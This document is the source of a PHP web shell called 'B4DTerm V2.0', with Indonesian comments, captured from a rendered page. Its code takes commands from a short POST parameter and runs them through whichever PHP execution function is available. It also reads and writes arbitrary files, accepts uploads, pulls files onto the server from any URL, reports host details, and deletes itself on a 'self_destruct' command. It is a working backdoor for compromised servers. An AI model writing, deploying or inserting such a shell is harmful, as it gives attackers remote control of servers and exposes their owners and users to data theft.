B4DTerm© Pawline

SECURE ACCESS

Authentication Required

$
ACCESS AT YOUR OWN RISK
"); } if (!isset($_SESSION['d'])) $_SESSION['d'] = getcwd(); // Fungsi untuk mendapatkan list file function get_file_list($dir) { $files = []; if (is_dir($dir)) { $items = scandir($dir); foreach ($items as $item) { if ($item != '.' && $item != '..') { $fullPath = $dir . '/' . $item; $files[] = [ 'name' => $item, 'is_dir' => is_dir($fullPath), 'size' => is_file($fullPath) ? filesize($fullPath) : 0, 'modified' => filemtime($fullPath) ]; } } } // Urutkan berdasarkan modified time (terbaru dulu) usort($files, function($a, $b) { return $b['modified'] - $a['modified']; }); return $files; } // Fungsi untuk render breadcrumb dengan folder steps function render_breadcrumb($path) { $parts = explode('/', trim($path, '/')); $output = ''; // Jika path root atau kosong if (empty($parts[0])) { return '/'; } foreach ($parts as $index => $part) { if ($part === '') continue; if ($index > 0) { $output .= ''; } // Untuk home directory, gunakan icon home if ($index === 0 && $part === 'home') { $output .= ''; $output .= ''; $output .= '' . htmlspecialchars($part) . ''; $output .= ''; } else { $output .= '' . htmlspecialchars($part) . ''; } } return $output; } // Fungsi untuk format size function format_size($bytes) { if ($bytes >= 1073741824) { return number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { return number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { return $bytes . ' bytes'; } elseif ($bytes == 1) { return $bytes . ' byte'; } else { return '0 bytes'; } } if (isset($_GET['get'])) { $f = $_SESSION['d'] . '/' . $_GET['get']; if (file_exists($f)) { $filename = $_GET['saveas'] ?? basename($f); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.$filename.'"'); header('Content-Length: ' . filesize($f)); readfile($f); exit; } } // Fungsi untuk membaca file if (isset($_POST['readfile'])) { $file = $_SESSION['d'] . '/' . $_POST['readfile']; if (file_exists($file) && is_file($file)) { $content = file_get_contents($file); echo json_encode(['success' => true, 'content' => $content]); } else { echo json_encode(['success' => false, 'error' => 'File not found']); } exit; } // Fungsi untuk menulis file if (isset($_POST['writefile'])) { $file = $_SESSION['d'] . '/' . $_POST['writefile']; $content = $_POST['content']; if (file_put_contents($file, $content) !== false) { echo json_encode(['success' => true]); } else { echo json_encode(['success' => false, 'error' => 'Write failed']); } exit; } // Fungsi untuk upload dari URL if (isset($_POST['url_upload'])) { $url = $_POST['url']; $filename = $_POST['url_filename'] ?? basename($url); // Validasi URL if (!filter_var($url, FILTER_VALIDATE_URL)) { echo json_encode(['success' => false, 'error' => 'Invalid URL']); exit; } $filepath = $_SESSION['d'] . '/' . $filename; // Download file dari URL $content = @file_get_contents($url); if ($content !== false && file_put_contents($filepath, $content) !== false) { echo json_encode(['success' => true, 'path' => $filepath, 'size' => strlen($content)]); } else { echo json_encode(['success' => false, 'error' => 'Download failed']); } exit; } // Fungsi untuk get IP info if (isset($_POST['get_ip_info'])) { $client_ip = $_SERVER['HTTP_CLIENT_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR']; $server_ip = $_SERVER['SERVER_ADDR']; $hostname = gethostname(); echo json_encode([ 'success' => true, 'client_ip' => $client_ip, 'server_ip' => $server_ip, 'hostname' => $hostname ]); exit; } // FUNGSI PROBING METHOD YANG DIUPGRADE function _probe_method() { $methods = [ 'shell_exec', 'exec', 'passthru', 'system', 'popen', 'proc_open' ]; foreach ($methods as $method) { if (function_exists($method)) { if ($method === 'shell_exec') { $test = @shell_exec('echo test'); if ($test !== false && trim($test) === 'test') { return $method; } } elseif ($method === 'exec') { $output = null; $result = @exec('echo test', $output); if ($result !== false && isset($output[0]) && $output[0] === 'test') { return $method; } } elseif ($method === 'passthru') { return $method; } elseif ($method === 'system') { ob_start(); $result = @system('echo test', $return_var); $output = ob_get_clean(); if ($result !== false && trim($output) === 'test') { return $method; } } elseif ($method === 'popen') { $handle = @popen('echo test', 'r'); if ($handle !== false) { $output = fread($handle, 1024); pclose($handle); if (trim($output) === 'test') { return $method; } } } elseif ($method === 'proc_open') { $descriptorspec = [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ]; $process = @proc_open('echo test', $descriptorspec, $pipes); if (is_resource($process)) { $output = stream_get_contents($pipes[1]); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); if (trim($output) === 'test') { return $method; } } } } } return 'none'; } // FUNGSI EKSEKUSI COMMAND YANG DIUPGRADE function execute_command($command) { $method = _probe_method(); $output = ''; $success = false; if ($method === 'none') { return ['output' => '', 'method' => 'none', 'success' => false]; } chdir($_SESSION['d']); if (strpos($command, '2>&1') === false && strpos($command, '2>') === false) { $command .= ' 2>&1'; } switch ($method) { case 'shell_exec': $output = @shell_exec($command); $success = ($output !== false && $output !== null); break; case 'exec': $result_array = []; $last_line = @exec($command, $result_array, $return_var); $output = implode("\n", $result_array); $success = ($return_var === 0); break; case 'passthru': ob_start(); @passthru($command, $return_var); $output = ob_get_clean(); $success = ($return_var === 0); break; case 'system': ob_start(); $last_line = @system($command, $return_var); $output = ob_get_clean(); $success = ($return_var === 0); break; case 'popen': $handle = @popen($command, 'r'); if ($handle) { while (!feof($handle)) { $output .= fread($handle, 4096); } $return_var = pclose($handle); $success = ($return_var === 0); } else { $success = false; } break; case 'proc_open': $descriptorspec = [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ]; $process = @proc_open($command, $descriptorspec, $pipes); if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]); $error = stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); $return_var = proc_close($process); if (empty($output) && !empty($error)) { $output = $error; } $success = ($return_var === 0); } else { $success = false; } break; default: $output = "No execution method available"; $success = false; } if ($output === false) $output = ''; if ($output === null) $output = ''; return [ 'output' => $output, 'method' => $method, 'success' => $success ]; } if (isset($_POST['k'])) { header('Content-Type: application/json'); $c = trim($_POST['k']); $r = ['o' => '', 'd' => $_SESSION['d'], 'm' => 'none', 's' => false, 'e' => false]; if ($c === 'self_destruct') { if (unlink(__FILE__)) { $r['o'] = "System destroyed."; session_destroy(); } else { $r['o'] = "Destruct failed."; $r['e'] = true; } echo json_encode($r); exit; } if (strpos($c, 'cd ') === 0) { $n = substr($c, 3); $old_dir = $_SESSION['d']; chdir($_SESSION['d']); if (@chdir($n)) { $new_dir = getcwd(); $_SESSION['d'] = $new_dir; $r['d'] = $_SESSION['d']; $r['o'] = "Direktori berubah:\n" . " Dari: " . $old_dir . "\n" . " Ke: " . $new_dir; } else { $r['o'] = "Error: Path tidak ditemukan - " . $n; $r['e'] = true; } echo json_encode($r); exit; } $result = execute_command($c); $r['o'] = $result['output']; $r['m'] = $result['method']; $r['s'] = $result['success']; $r['e'] = !$result['success']; if (empty($r['o']) && $r['s'] && !$r['e']) { $r['o'] = "✓ Command executed successfully (no output)"; } echo json_encode($r); exit; } if (isset($_FILES['f'])) { $t = $_SESSION['d'] . '/' . basename($_FILES['f']['name']); $s = move_uploaded_file($_FILES['f']['tmp_name'], $t); echo json_encode(['s' => $s, 'path' => $t]); exit; } $probe = _probe_method(); $file_list = get_file_list($_SESSION['d']); ?> B4DTerm by Pawline
B4DTerm V2.0 © Pawline
Keluar
PID: